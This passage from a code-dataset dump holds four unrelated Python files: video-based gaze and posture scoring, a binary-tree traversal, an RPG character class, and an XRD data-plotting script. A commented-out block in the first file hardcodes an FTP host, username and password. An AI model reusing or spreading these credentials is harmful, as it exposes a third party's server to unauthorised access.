torch.sum(roll_predicted.data[0] * idx_tensor) * 3 - 99\n\n list_Face[nIndex].fYaw = yaw_predicted\n list_Face[nIndex].fPitch = pitch_predicted\n list_Face[nIndex].fRoll = roll_predicted\n\n torch.cuda.empty_cache()\n\n return (yaw_predicted, pitch_predicted, roll_predicted)\n\n\n\ndef list2SoftList(srcList):\n tmpList = srcList.copy()\n\n fSum = 0.\n\n for ii in range(len(srcList)):\n fExp = np.exp(srcList[ii])\n fSum = fSum + fExp\n tmpList[ii] = fExp\n for ii in range(len(srcList)):\n srcList[ii] = tmpList[ii] / fSum;\n\n return srcList\n\ndef Emotion_Classification(Emotion_Net, cvImg, list_Face, nIndex):\n if list_Face[nIndex].ptLE == [-1, -1]:\n return -1\n\n # 정규화 얼굴영역 이미지 생성\n img = cvImg.copy()\n ROIImg = faceAlignment(img, list_Face[nIndex].ptLE, list_Face[nIndex].ptRE\n , list_Face[nIndex].ptLM, list_Face[nIndex].ptLM)\n\n # image preprocessing\n PILROI = Image.fromarray(ROIImg)\n transformedImg = transformations_emotionnet(PILROI)\n transformedImg = torch.unsqueeze(transformedImg, 0)\n transformedImg = transformedImg.to(device)\n\n # emotion-net feedforward processing\n output_glasses = Emotion_Net(transformedImg)\n\n # 출력 결과 확률로 변환\n output_cpu = output_glasses.cpu().detach().numpy().squeeze()\n output = list2SoftList(output_cpu).tolist()\n\n # emotion label\n # surprise, fear, disgust, happy, sadness, angry, neutral\n list_Face[nIndex].nEmotion = output.index(max(output))\n for ii in range(7):\n list_Face[nIndex].fEmotionScore[ii] = output[ii]\n\n # torch.cuda.empty_cache()\n\ndef Gaze_Regression(list_Face, nIndex):\n if list_Face[nIndex].ptLE == [-1, -1] or list_Face[nIndex].fYaw == -1:\n return -1\n\n d2r = 3.141592 / 180.0\n #fDist = math.sqrt(pow(list_Face[nIndex].ptRE[0] - list_Face[nIndex].ptLE[0], 2) + pow(list_Face[nIndex].ptRE[1] - list_Face[nIndex].ptLE[1], 2))\n fDist = 20 * ((list_Face[nIndex].fPitch + list_Face[nIndex].fYaw)/2)\n\n normX = -1 * math.sin(d2r * list_Face[nIndex].fYaw) * fDist\n normY = -1 * math.sin(d2r * list_Face[nIndex].fPitch) * math.cos(d2r * list_Face[nIndex].fYaw) * fDist\n\n list_Face[nIndex].ptLED = [list_Face[nIndex].ptLE[0] + normX, list_Face[nIndex].ptLE[1] + normY]\n list_Face[nIndex].ptRED = [list_Face[nIndex].ptRE[0] + normX, list_Face[nIndex].ptRE[1] + normY]\n\n torch.cuda.empty_cache()\n\n return list_Face[nIndex].ptLED, list_Face[nIndex].ptRED\n\nclass pose_Detector():\n\n def __init__(self, mode=False, upBody=False, smooth=True, detectionCon=0.7, trackCon=0.5):\n\n self.mode = mode\n self.upBody = upBody\n self.smooth = smooth\n self.detectionCon = detectionCon\n self.trackCon = trackCon\n\n self.mpPose = mp.solutions.pose\n self.mpDraw = mp.solutions.drawing_utils\n self.pose = self.mpPose.Pose(self.mode, self.upBody, self.smooth, self.detectionCon, self.trackCon)\n\n def findPose(self, img, draw=True):\n imgRGB = cv2.cvtColor(img, cv2.COLOR_BGR2RGB)\n self.results = self.pose.process(imgRGB)\n\n # print(results.pose_landmarks)\n\n if self.results.pose_landmarks:\n if draw:\n self.mpDraw.draw_landmarks(img, self.results.pose_landmarks, self.mpPose.POSE_CONNECTIONS)\n\n return img\n\n def gaze_Detector(self, gaze, img_show):\n if gaze != None:\n # print(\"gaze\", gaze)\n center_gaze_x = (gaze[0][0] + gaze[1][0]) / 2\n center_gaze_y = (gaze[0][1] + gaze[1][1]) / 2\n cv2.circle(img_show, (int(center_gaze_x), int(center_gaze_y)), 8, (0, 0, 255), -1)\n center_gaze = (int(center_gaze_x), int(center_gaze_y))\n return center_gaze\n\n\n def findPosition(self, img, draw=True):\n lmList = []\n if self.results.pose_landmarks:\n for id, lm in enumerate(self.results.pose_landmarks.landmark):\n h, w, c = img.shape\n cx, cy = int(lm.x * w), int(lm.y * h)\n lmList.append([id, cx, cy])\n cv2.circle(img, (cx, cy), 5, (255, 0, 0), cv2.FILLED)\n return lmList\n\n\n# def soundcheck(self):\n#\n# sound = AudioFileClip(self) # self = .mp4\n#\n# shortsound = sound.subclip(\"00:00:01\", \"00:00:10\") # audio from 1 to 10 seconds\n# # fileroute = 'C:/Users/withmind/Desktop/'\n# fileroute = '/home/ubuntu/project/'\n# filename = self + '.wav'\n# shortsound.write_audiofile(fileroute + filename, 44100, 2, 2000, \"pcm_s32le\")\n#\n# y, sr = librosa.load(fileroute + filename)\n# sound_result = 0\n# for i in y:\n# if y[-0] == 0.00:\n# print('음성확인 > ', False)\n# sound_result = 1\n# break\n# else:\n# if i == 0.00:\n# continue\n# else:\n# print('음성확인 > ', True)\n# sound_result = 0\n# break\n#\n# os.remove(fileroute + filename)\n#\n# return sound_result\n\nclass shoulder_movement:\n def shoulder_vertically(shoulder, Landmark_list):\n landmark_no7_y = Landmark_list[13]\n shoulder_move_list = []\n shoulder_move_count = 0\n\n if shoulder[1] >= landmark_no7_y:\n shoulder_move_list.append(1)\n else:\n if len(shoulder_move_list) > 1:\n shoulder_move_count = 1\n shoulder_move_list = []\n\n return shoulder_move_count\n\n def shoulder_horizontally(shoulder, Landmark_list):\n landmark_no5_x = Landmark_list[8]\n # print(landmark_no5_x)\n landmark_no13_x = Landmark_list[24]\n # print(landmark_no13_x)\n shoulder_left_move_list = []\n shoulder_left_move_count = 0\n shoulder_right_move_list = []\n shoulder_right_move_count = 0\n\n if shoulder[0] <= landmark_no5_x:\n shoulder_left_move_list.append(1)\n\n elif shoulder[0] >= landmark_no13_x:\n shoulder_right_move_list.append(1)\n\n else:\n if len(shoulder_left_move_list) > 1:\n shoulder_left_move_count = 1\n if len(shoulder_right_move_list) > 1:\n shoulder_right_move_count = 1\n\n return (shoulder_left_move_count, shoulder_right_move_count)\n\n def shoulder_vertical_low_high(shoulder_list):\n shoulder_low_y = max(t[1] for t in shoulder_list)\n shoulder_high_y = min(t[1] for t in shoulder_list)\n for x, y in enumerate(shoulder_list):\n if shoulder_low_y in y:\n shoulder_low_point = y\n if shoulder_high_y in y:\n shoulder_high_point = y\n\n return (shoulder_low_point , shoulder_high_point)\n\n def shoulder_horizon_left_right(shoulder_list):\n shoulder_left_x = min(t[0] for t in shoulder_list)\n shoulder_right_x = max(t[0] for t in shoulder_list)\n\n for x, y in enumerate(shoulder_list):\n if shoulder_left_x in y:\n shoulder_extreme_left_point = y\n if shoulder_right_x in y:\n shoulder_extreme_right_point = y\n\n return (shoulder_extreme_left_point, shoulder_extreme_right_point)\n\n\nclass Average:\n # Gaze 표준편차 / Gaze_Avg = [x_std, y_std] 리스트안 튜플\n def Gaze_Avg(self):\n df = pd.DataFrame(self, columns=['x', 'y'])\n x_std = round(np.std(df['x']))\n y_std = round(np.std(df['y']))\n\n GazeAvg_x = x_std\n GazeAvg_y = y_std\n\n return GazeAvg_x, GazeAvg_y\n\n # 어깨 상하 최고 길이 도출\n def vertically_Avg(Left_shoulder_high, Left_shoulder_low, Right_shoulder_high, Right_shoulder_low):\n Left_shoulder = Left_shoulder_high[1] - Left_shoulder_low[1]\n Right_shoulder = Right_shoulder_high[1] - Right_shoulder_low[1]\n\n if Left_shoulder > Right_shoulder:\n return Left_shoulder\n else:\n return Right_shoulder\n\n # 어깨 좌우 최고 길이 도출\n def horizontally_Avg(Center_shoulder_extreme_right, Center_shoulder_extreme_left):\n\n if Center_shoulder_extreme_right[0] >= Center_shoulder_extreme_left[0]:\n horizontally = Center_shoulder_extreme_right[0] - Center_shoulder_extreme_left[0]\n else:\n horizontally = Center_shoulder_extreme_left[0] - Center_shoulder_extreme_right[0]\n\n return horizontally\n\n def shoulder_left_count(self):\n count = 0\n for i in self:\n if i != 0:\n count += 1\n else:\n count += 0\n return count\n\n def shoulder_right_count(self):\n count = 0\n for i in self:\n if i != None:\n count += 0\n else:\n count += 1\n return count\n\n # 제스처 왼.오 큰값 도출\n def GestureTIME(Left_Hand_time, Right_Hand_time):\n Left_Hand = Left_Hand_time\n Right_Hand = Right_Hand_time\n\n if Left_Hand > Right_Hand:\n return Left_Hand\n else:\n return Right_Hand\n\n\n # def Average_csv(Gaze_value, Roll_value, Shoulder_value,vertically_value, horizontally_value, GestureTIME_value):\n # # ftp = FTP()\n # #\n # # ftp.connect('withmind.cache.smilecdn.com', 21)\n # # ftp.login('withmind', 'dnlemakdlsem1!')\n # # ftp.cwd('./analy_result')\n # filename = '/Average.csv'\n # # fileroute = 'C:/Users/withmind/Desktop'\n # fileroute = '/home/ubuntu/project'\n #\n # # CSV 누적\n # headersCSV = ['Gaze', 'Roll', 'Shoulder', 'vertically', 'horizontally', 'GestureTIME']\n # dict = {'Gaze': Gaze_value,\n # 'Roll': Roll_value,\n # 'Shoulder': Shoulder_value,\n # 'vertically': vertically_value,\n # 'horizontally': horizontally_value,\n # 'GestureTIME': GestureTIME_value\n # }\n #\n # with open(fileroute + filename, mode='a', encoding='utf-8', newline='') as csvfile:\n # wr = csv.DictWriter(csvfile, fieldnames=headersCSV)\n # wr.writerow(dict)\n #\n # os.remove(fileroute + filename)\n\n\n\nclass scoring:\n\n '''\n 구간별 점수 : 100점, 80점, 60점, 40점, 20점\n <시선 x> <얼굴 각도 >\n 1구간 1~5% = ~3 1구간 1~5% = ~1\n 2구간 6~25% = 4~5 2구간 6~25% = 2~7\n 3구간 26~75% = 6~18 3구간 26~75% = 8~28\n 4구간 76~95% = 19~33 4구간 76~95% = 29~46\n 5구간 95~100% = 34~ 5구간 95~100% = 47~\n\n <시선 y> <어깨 각도>\n 1구간 1~5% = ~2 1구간 1~5% = ~0\n 2구간 6~25% = 3~5 2구간 6~25% = 1~1\n 3구간 26~75% = 6~17 3구간 26~75% = 2~4\n 4구간 76~95% = 18~30 4구간 76~95% = 5~6\n 5구간 95~100% = 31~ 5구간 95~100% = 7~\n\n <어깨 상하> <어깨 좌우>\n 1구간 1~5% = ~13 1구간 1~5% = ~10\n 2구간 6~25% = 14~26 2구간 6~25% = 11~20\n 3구간 26~75% = 27~94 3구간 36~75% = 21~69\n 4구간 76~95% = 95~175 4구간 76~95% = 70~143\n 5구간 95~100% = 176~ 5구간 95~100% = 144~\n '''\n\n def GAZE_X_scoring(self):\n if self >= 34:\n return 20\n elif self >= 19:\n return 40\n elif self >= 6:\n return 60\n elif self >= 4:\n return 80\n else:\n return 100\n\n def GAZE_Y_scoring(self):\n if self >= 31:\n return 20\n elif self >= 18:\n return 40\n elif self >= 6:\n return 60\n elif self >= 3:\n return 80\n else:\n return 100\n\n def SHOULDER_VERTICAL_scoring(self):\n if self >= 176:\n return 20\n elif self >= 95:\n return 40\n elif self >= 27:\n return 60\n elif self >= 14:\n return 80\n else:\n return 100\n\n def SHOULDER_HORIZON_scoring(self):\n if self >= 144:\n return 20\n elif self >= 70:\n return 40\n elif self >= 21:\n return 60\n elif self >= 11:\n return 80\n else:\n return 100\n\n def FACE_ANGLE_scoring(self):\n if self >= 47:\n return 20\n elif self >= 29:\n return 40\n elif self >= 8:\n return 60\n elif self >= 2:\n return 80\n else:\n return 100\n #\n # def GESTURE_scoring(self):\n # if self >= 2:\n # return 60\n # elif self >= 1:\n # return 80\n # else:\n # return 100\n\n def SHOULDER_ANGLE_scoring(self):\n if self >= 7:\n return 20\n elif self >= 5:\n return 40\n elif self >= 2:\n return 60\n elif self >= 1:\n return 80\n else:\n return 100","repo_name":"EndewSeoho/video_async","sub_path":"analy/function.py","file_name":"function.py","file_ext":"py","file_size_in_byte":22101,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"52"} +{"seq_id":"22489062943","text":"# Definition for a binary tree node.\nclass TreeNode(object):\n def __init__(self, x):\n self.val = x\n self.left = None\n self.right = None\n\nclass Solution(object):\n def levelOrder(self, root):\n \"\"\"\n :type root: TreeNode\n :rtype: List[List[int]]\n \"\"\"\n import queue\n output = []\n q = queue.Queue()\n q.put(root)\n while not q.empty():\n level = queue.Queue()\n level_output = []\n while not q.empty():\n tmp = q.get()\n if tmp == None:\n continue\n level_output.append(tmp.val)\n level.put(tmp.left)\n level.put(tmp.right)\n if level_output != []:\n output.append(level_output)\n q = level\n return output\n\n\nsol = Solution()\nroot = TreeNode(1)\nroot.left = TreeNode(4)\nroot.right = TreeNode(2)\nroot.right.right = TreeNode(8)\nprint(sol.levelOrder(root))","repo_name":"Fernadoo/LeetCode","sub_path":"top_400/tree/102_binaary_tree_level_order_traversal.py","file_name":"102_binaary_tree_level_order_traversal.py","file_ext":"py","file_size_in_byte":992,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"34051430762","text":"from random import randint as RI\nfrom time import time, sleep\nimport pyxel as px\n\n\nfrom pyxel_code.message_classes import CombatText\nfrom pyxel_code.utils import items as itm, Interactable # Application Imports \nfrom .dicts import * # Application Imports\nfrom .item_screen import EquippedItems, Backpack # Application Imports\nfrom pyxel_code.image_classes import Sprite, DisplayText # Application Imports\n\n# from ..pyxel_code.image_classes import Sprite # Test Import Path\n\n\ndex = [-1, 2]\nstrength = [-3, 4]\nintelligence = [-1, 1]\n\n\nrirs = randint(0,1) # randint small (0,1)\nrirm = randint(-1,1) # randint medium (-1,1)\nnrn = randint(0,2)\n\n\n\nclass Character():\n def __init__ (self, name, strength, dexterity, intelligence, constitution, armor=0, resistance=0):\n self.name = name\n # Items\n self.lifetime_currency = 0\n self.currency = 0\n self.bag = Backpack(self)\n self.items_worn = self.bag.equipped\n\n # Stats and whatnot\n self.armor = armor # 0 if self.items_worn.placement['slot']['body'] == {'nothing':'nothing'} else itm[self.items_worn.placement['slot']['body']['armor_value']]\n self.resistance = resistance\n self.strength = strength\n self.dexterity = dexterity\n self.intelligence = intelligence\n self.constitution = constitution\n self.hp = self.constitution * 2\n self.max_mp = self.intelligence * 2\n self.weapon = {} if self.items_worn.slot['hand'] == {'nothing':'nothing'} else itm[self.items_worn.slot['hand']]\n self.weapon_damage = self.weapon['damage'] if 'damage' in self.weapon else 0\n self.damage = strength // 2 + self.weapon_damage if strength > 2 else 1 + self.weapon_damage\n self.attribute_list = []\n # self.level = 1\n\n # Ability list\n self.abilities = []\n self.abilities.append(self.attack)\n self.abilities.append(self.dodge)\n self.abilities.append(self.defend)\n self.abilities.append(self.flee)\n \n # // Persistent changed stats //\n self.current_hp = self.hp\n self.current_mp = self.max_mp \n\n \n\n # // Temp Stat changes //\n self.armor_val = armor\n self.att_val = self.dexterity // 2 if self.dexterity > self.strength else self.strength // 2\n self.damage_val = self.damage\n self.dodge_val = dexterity // 2 if dexterity > 2 else 1\n self.resist_val = self.resistance\n\n \n\n \n # // STATUSES //\n # Status flags\n self.defended = False #incrementer\n self.dodging = False # Incrementor\n self.fleeing = False # Incrementor\n self.stone_armored = False # Incrementor\n self.slowed = False # Incrementor\n self.vulnerable = False # Incrementor\n self.double_armed = False # Incrementor\n self.burning_blades = False # Incrementor = damage = magic\n self.stone_fists = False # Incrementor = Bonus damage\n\n # No incrementors/counters\n self.poisoned = False \n self.burning = False\n self.wind_hit_by = False \n self.stunned = False \n\n # Status Incrementors\n self.dodging_rounds = 0\n self.defended_rounds = 0\n self.flee_count = 0\n self.slowed_rounds = 0\n self.stone_armored_rounds = 0\n self.vulnerable_rounds = 0\n self.double_armed_rounds = 0\n self.burning_blades_rounds = 0\n self.burning_rounds = 0\n self.poisoned_rounds = 0\n self.set_attribute_list()\n # self.set_currency()\n\n self.game = None\n self.combat_state = None\n\n\n\n def attack(self, target):\n damage_num = 0\n stat_mod = 0\n\n # Setting which attack modifier to use based on high stat\n if self.dexterity > self.strength and self.dexterity > self.intelligence:\n stat_mod = dex\n\n elif self.strength > self.dexterity and self.strength > self.intelligence:\n stat_mod = strength\n\n elif self.intelligence > self.dexterity and self.intelligence > self.strength:\n stat_mod = intelligence\n\n # checking for hitting and critting, then assigning damage and calling damage function\n attack_mod = RI(*stat_mod)\n if attack_mod == max(stat_mod):\n damage_num = (self.damage + 2)\n self.in_combat_text(f'''{self.name.title()} attacks!\n \n**Critical hit!**''')\n self.attack_damage(target, damage_num)\n\n elif self.att_val + RI(*stat_mod) <= target.dodge_val:\n self.in_combat_text(f'{self.name.title()} attacks!')\n self.in_combat_text(f\"{self.name.title()} missed!\")\n \n elif self.att_val + RI(*stat_mod) > target.dodge_val:\n self.in_combat_text(f'{self.name.title()} attacks!')\n damage_num = (self.damage + RI(*stat_mod)) - target.armor_val\n self.attack_damage(target, damage_num)\n\n return attack_mod, damage_num\n\n\n\n def attack_damage(self, target, damage_num):\n if damage_num > 0:\n self.in_combat_text(f'''{target.name.title()} was hit! \n{str(damage_num)} damage!''',)\n target.current_hp -= damage_num\n if target.current_hp <= 0:\n target.current_hp = 0\n # self.in_combat_text(f\"\\n{target.name.title()} has been defeated.\")\n # # del target\n elif damage_num <= 0 and target.name[-1] != \"s\":\n self.in_combat_text(f\"\"\"{target.name.title()} blocks \n{self.name.title()}' strike.\"\"\")\n elif damage_num <= 0 and target.name[-1] == \"s\":\n self.in_combat_text(f\"\"\"{target.name.title()} blocks\n{self.name.title()}'s strike.\"\"\")\n \n\n def wear_armor(self):\n self.armor = 0 if self.items_worn.placement['slot']['body'] == 'nothing' else itm[self.items_worn.placement['slot']['body']['armor_value']]\n self.armor_val = self.armor\n\n def defend(self):\n if self.defended:\n self.defended_rounds = 0\n self.in_combat_text(f\"\"\"{self.name}\nis defending\"\"\")\n else:\n self.armor_val += 2\n self.defended = True\n if self.class_name == 'player':\n print(f'You are defended: Armor val = {self.armor_val} ')\n self.in_combat_text(f\"\"\"You defend. \nArmor: {self.armor_val}\"\"\")\n else:\n self.in_combat_text(f'''{ self.combat_state.enemy} \nhunkers down to defend.''')\n # rnd_count = 2\n\n def undefend(self):\n self.armor_val -= 2\n self.defended = False\n self.defended_rounds = 0\n if self.class_name != 'player':\n self.in_combat_text(f'''{ self.combat_state.enemy} \nrelaxes their guard.''')\n\n def dodge(self):\n if self.dodging == True:\n self.dodging_rounds = 0\n self.in_combat_text(f\"{self.name} is dodging\")\n else:\n self.dodging = True\n self.dodge_val += 2\n if self.class_name == 'player':\n self.in_combat_text(f\"\"\"You focus on dodging.\"\"\")\n else:\n self.in_combat_text(f'''{ self.combat_state.enemy} \ndances about nimbly.''')\n # rnd_count = 2\n\n def undodge(self):\n self.dodging = False\n self.dodging_rounds = 0\n self.dodge_val -= 2\n\n def flee(self, enemy):\n if self.dexterity > enemy.dexterity or self.flee_count > 0: \n self.fleeing = True\n else:\n self.flee_count += 1\n self.in_combat_text(f'You try to run')\n return False\n\n def __repr__(self):\n return self.name.title()\n\n def stone_armor(self):\n if self.stone_armored == True:\n self.in_combat_text(F'''{self.name}\nis already protected''')\n else:\n self.armor_val += 2\n self.stone_armored = True\n print(f\"You cast a spell to boost your armor. Armor: {self.armor_val}\")\n\n def slow(self):\n if self.slowed:\n self.slowed_rounds = 0\n print(f\"{self.name} is already slowed\")\n else:\n self.dodge_val -= 2\n self.slowed = True\n print(f\"{self.name} is slowed\")\n \n def unslow(self):\n self.dodge_val += 2\n self.slowed_rounds = 0\n self.slowed = False\n\n def vulnerability(self):\n if self.vulnerable:\n print(f\"{self.name} is already vulnerable.\")\n else:\n self.resist_val -= 2\n self.vulnerable = True\n print(f\"{self.name} is now vulnerable to magic.\")\n\n def stone_armor_2(self):\n self.armor_val = self.armor + 4\n self.double_armed = True\n print(f\"You cast a spell to boost your armor. Armor: {self.armor_val}\")\n\n def damage_to_magic(self):\n # alter the attack action to add default parameters that can be over written\n pass\n\n def stony_fists(self):\n self.stone_fists = True\n self.damage_val = self.damage + 4\n print(f\"You cast a spell to boost your damage. Damage: {self.damage_val}\")\n\n def poison(self):\n if self.poisoned:\n print(f\"{self.name} is already poisoned!\")\n else:\n self.poisoned = True\n self.in_combat_text(f\"\"\"{self.name} \nis poisoned\"\"\")\n\n def unpoison(self):\n self.poisoned = False\n self.poisoned_rounds = 0\n self.in_combat_text(\"\"\"You recover\nfrom poison\"\"\")\n\n def burn_baby_burn(self):\n if self.burning:\n print(f\"{self.name} is already on fire!\")\n else:\n self.burning = True\n print(f\"{self.name} caught on fire!\")\n\n def in_the_wind(self):\n self.wind_hit_by = True\n\n def stun(self):\n if self.stunned == True:\n self.stunned_rounds = 0\n else:\n self.stunned = True\n\n def unstun(self):\n self.stunned = False\n self.stunned_rounds = 0\n \n def level_attribute(self, stat_choice:str, new_stat:int = 1):\n if stat_choice == 'STR':\n self.strength = new_stat\n elif stat_choice == 'DEX':\n self.dexterity = new_stat\n elif stat_choice == 'INT':\n self.intelligence = new_stat\n elif stat_choice == 'CON':\n self.constitution = new_stat\n self.set_hp()\n \n self.set_attribute_list()\n self.set_dependant_atts()\n \n def set_hp(self):\n self.hp = self.constitution * 2\n \n\n def set_attribute_list(self):\n self.attribute_list= [\n {'name': \"STR\", \"att\":self.strength}, {'name': \"DEX\", \"att\": self.dexterity}, \n {'name': \"CON\", \"att\": self.constitution}, {'name': \"INT\", \"att\": self.intelligence}\n ]\n\n def set_dependant_atts(self):\n self.current_hp = self.hp\n self.armor_val = self.armor if self.armor >= 0 else 0\n self.att_val = self.dexterity // 2 if self.dexterity > self.strength else self.strength // 2\n self.damage = self.strength // 2 + self.weapon_damage if self.strength > 2 else 1 + self.weapon_damage\n self.damage_val = self.damage\n self.dodge_val = self.dexterity // 2 if self.dexterity > 2 else 1\n self.resist_val = self.resistance\n\n self.current_mp = self.max_mp\n\n def change_outfit(self, outfit:tuple):\n self.u = outfit[0]\n self.v = outfit[1]\n\n def reset_flags(self):\n # print('reseting flags')\n self.defended = False #incrementer\n self.dodging = False # Incrementor\n self.fleeing = False # Incrementor\n self.stone_armored = False # Incrementor\n self.slowed = False # Incrementor\n self.vulnerable = False # Incrementor\n self.double_armed = False # Incrementor\n self.burning_blades = False # Incrementor = damage = magic\n self.stone_fists = False # Incrementor = Bonus damage\n self.stunned = False\n self.dodging_rounds = 0\n self.defended_rounds = 0\n self.flee_count = 0\n self.slowed_rounds = 0\n self.stone_armored_rounds = 0\n self.vulnerable_rounds = 0\n self.double_armed_rounds = 0\n self.burning_blades_rounds = 0\n self.burning_rounds = 0\n self.poisoned_rounds = 0\n\n\n def in_combat_text(self, combat_text, display_time:float = 1.5):\n self.add_text(self.combat_state, combat_text, {'display_time':display_time})\n\n\n def add_text(self, combat_state:object, text:str, kwarg_dict:dict):\n # print(f'Game text length = {len(self.game.text)}')\n if len(self.game.text) < 1:\n self.game.text.append({'combat_state': combat_state, 'combat_text': text, **kwarg_dict})\n elif len(self.game.text) >= 1:\n if self.game.text[-1] == Interactable.unfreeze:\n print('pop and switch')\n popped = self.game.text.pop()\n self.game.text.append({'combat_state': combat_state, 'combat_text': text, **kwarg_dict})\n self.game.text.append(popped)\n else:\n self.game.text.append({'combat_state': combat_state, 'combat_text': text, **kwarg_dict})\n\n\n \n def equip(self):\n self.armor = 0 if self.items_worn.slot['body'] == {'nothing':'nothing'} else self.items_worn.slot['body'].item_stat\n self.weapon = {} if self.items_worn.slot['hand'] == {'nothing':'nothing'} else self.items_worn.slot['hand']\n self.weapon_damage = self.weapon.item_stat if self.weapon else 0\n self.damage = self.strength // 2 + self.weapon_damage if self.strength > 2 else 1 + self.weapon_damage\n self.armor_val = self.armor\n\n\nclass Player(Character, Sprite):\n def __init__(self, name, strength, dexterity, intelligence, constitution, v, job, x=164, y=64, game:object = None, armor=0, resistance=0):\n super().__init__(name, strength, dexterity, intelligence, constitution, armor, resistance)\n self.class_name = 'player'\n self.job = job\n self.u=8\n self.v=v\n self.x = x\n self.y= y\n self.w=8\n self.h=8\n self.bank = 2\n self.colkey = 7\n # self.draw_sidebar()\n self.running = False\n\n\n def combat_draw(self):\n self.draw()\n px.text(168, 34, f\"HP:{self.current_hp}/{self.hp}\", 7)\n\n def draw_sidebar(self):\n stat_list = []\n\n px.text(12, 24, f'NAME: {self.name}', 7)\n px.text(12, 32, f\"HP: {self.current_hp}/{self.hp}\", 7)\n px.text(12, 42, f\"STR: {self.strength}\", 7)\n px.text(12, 50, f\"DEX: {self.dexterity}\", 7)\n px.text(12, 58, f\"CON: {self.constitution}\", 7)\n px.text(12, 66, f\"INT: {self.intelligence}\", 7)\n px.text(12, 76, f\"Attack: {self.att_val}\", 7)\n px.text(12, 84, f\"Damage: {self.damage}\", 7)\n px.text(12, 92, f\"Defense: {self.armor_val}\", 7)\n px.text(12, 100, f\"Resistance: {self.resistance}\", 7)\n px.text(12, 108, f\"Dodge: {self.dodge_val}\", 7)\n px.text(12, 118, f\"Trophies: {self.currency}\", 7)\n\n # placeholder\n # px.text(32, 118, \"Quit\", 0)\n\n def intersects(self, mouse_location:tuple):\n is_intersected = False\n if (\n px.mouse_x > self.x and px.mouse_x < self.x + self.w\n and px.mouse_y > self.y and px.mouse_y < self.y + self.h + 2\n ):\n is_intersected = True\n return is_intersected\n\n def intersection(self):\n self.character_choice_text()\n \n def character_choice_text(self):\n px.text(116, 84, self.name, 7)\n px.text(84, 92, f\"Job: {self.job} \", 7)\n px.text(86, 102, f'{background_stats[self.name][\"description\"]}', 7)\n\n def set_combat_atts(self):\n self.armor_val = self.armor if self.armor >= 0 else 0\n self.att_val = self.dexterity // 2 if self.dexterity > self.strength else self.strength // 2\n self.damage = self.strength // 2 + self.weapon_damage if self.strength > 2 else 1 + self.weapon_damage\n self.damage_val = self.damage\n self.dodge_val = self.dexterity // 2 if self.dexterity > 2 else 1\n self.resist_val = self.resistance","repo_name":"Nephilus-notes/The-Dragon-s-Tail","sub_path":"old_code/character_builder.py","file_name":"character_builder.py","file_ext":"py","file_size_in_byte":16213,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"52"} +{"seq_id":"2527086728","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Fri Jun 24 11:08:44 2022\r\n\r\n@author: Simon (Python 3.8)\r\nGiven a full 2\\theta integration scan from XRDSol, \r\nplot the contour plot (x, y, z(x,y)) -> (time, q, intensity)\r\nand save individual arrays/matrices as .csv files in a separate folder called\r\n'output'.\r\n\r\nIdeas for improvements:\r\n - label orientations or give separate table with q values and reflexes\r\n - eliminate user input necessities\r\n - Make get data more efficient by pre-defining q array with random values\r\n and then replace consecutively\r\n - Check if csv file already exists and only convert if it doesn't\r\n \r\n \r\nKnown bugs:\r\n - Depending on the host computer settings, XRDSol saves the scan images with \r\ndifferent time formats, for example 1:23 PM instead of 13:23. Pandas \r\ninterprets the AM/PM part as additional column. To eliminate this bug, append/\r\ndelete last column name in the array -names- and placeholder variable in\r\nline.split(',') (for-loop in get_data).\r\n\r\n\"\"\"\r\nimport numpy as np\r\nimport os\r\nimport pandas as pd\r\nimport matplotlib.pyplot as plt\r\nfrom tqdm import tqdm\r\nfrom pathlib import Path\r\nimport ntpath\r\nfrom matplotlib import cm\r\nfrom matplotlib.ticker import LinearLocator\r\n\r\n\r\n### USER INPUTS:\r\n \r\n# The output scan seperators are irregular tab spaces. \r\n# The following saves the output scan as a csv file:\r\nfile_path = r\"C:\\Users\\User\\Desktop\\LBL\\BT_December\\ZnO_SAM\\GIWAXS\\ZnO_SAM.dat\" # absolute location of \r\n # scan, must be .dat file!\r\ntime_per_frame = 1.844 # in sec\r\nnum_frames = 675 # input the number of frames in the scan\r\n# plt.style.use('seaborn-white') # uncomment, restart kernel for other style\r\n\r\n### OTHER:\r\n \r\nfile_name = ntpath.basename(file_path)\r\nsample_name = file_name.rstrip('.dat') # under which name data is saved later\r\nPath(os.path.join(file_path.rstrip(file_name), 'output_' + sample_name)).mkdir(parents=True, exist_ok=True)\r\nsave_path = os.path.join(file_path.rstrip(file_name), 'output_' + sample_name)\r\n# print('Converting to csv...')\r\nfile = pd.read_csv(file_path, sep='\\s+', header=0, names=np.array(['image_num', 'twotheta', 'twotheta_cuka', 'dspacing', 'qvalue', 'intensity', 'frame_number', 'izero', 'date', 'time', 'am']))\r\ncsv_path = os.path.join(save_path, sample_name + '.csv')\r\nfile.to_csv(csv_path, index=0)\r\nlength = len(file)\r\n\r\n\r\n### CODE:\r\n\r\n# =================Part 1: Loading Data======================\r\n\r\ndef get_data(csv_path, frames, sample_name, save_path, time_per_frame):\r\n '''\r\n Parameters\r\n ----------\r\n csv_path : path object, \r\n points towards the saved csv file.\r\n frames : int,\r\n imports the total number of frames taken for the scan\r\n sample_name : str,\r\n name of the sample. Default is the name under which scan is saved.\r\n save_path : path object\r\n where the output is saved.\r\n\r\n Returns\r\n -------\r\n three arrays, q, frame_num and full_intensity which are one, one and two \r\n dimensional, respectively. These are saved as csv files.\r\n\r\n '''\r\n with open(csv_path, 'r') as data_file:\r\n counter = 1\r\n q = np.array([])\r\n q_size = int(length/frames)\r\n full_intensity = np.zeros(shape=(frames, q_size))\r\n frame_intensity = np.array([])\r\n data_file.readline()\r\n for line in tqdm(data_file, desc = 'Gathering data'):\r\n imagenum, twotheta, twotheta_cuka, dspacing, qvalue, intensity, frame_number, izero, date, time, am = line.split(',')\r\n if int(frame_number) == counter:\r\n intensity = np.array([float(intensity)])\r\n q = np.append(q, float(qvalue)) \r\n frame_intensity = np.append(frame_intensity, intensity)\r\n else:\r\n full_intensity[int(counter) - 1] = frame_intensity\r\n counter += 1\r\n # clearing the arrays that save the data of each frame\r\n q = np.array([]) \r\n frame_intensity = np.array([])\r\n # save data of current line\r\n q = np.append(q, float(qvalue))\r\n frame_intensity = np.append(frame_intensity, intensity)\r\n # save last frame values\r\n full_intensity[frames - 1] = frame_intensity\r\n data_file.close()\r\n frame_num = np.linspace(0, int(frames)-1, int(frames))\r\n \r\n # saving the data in separate csv files\r\n df_q = 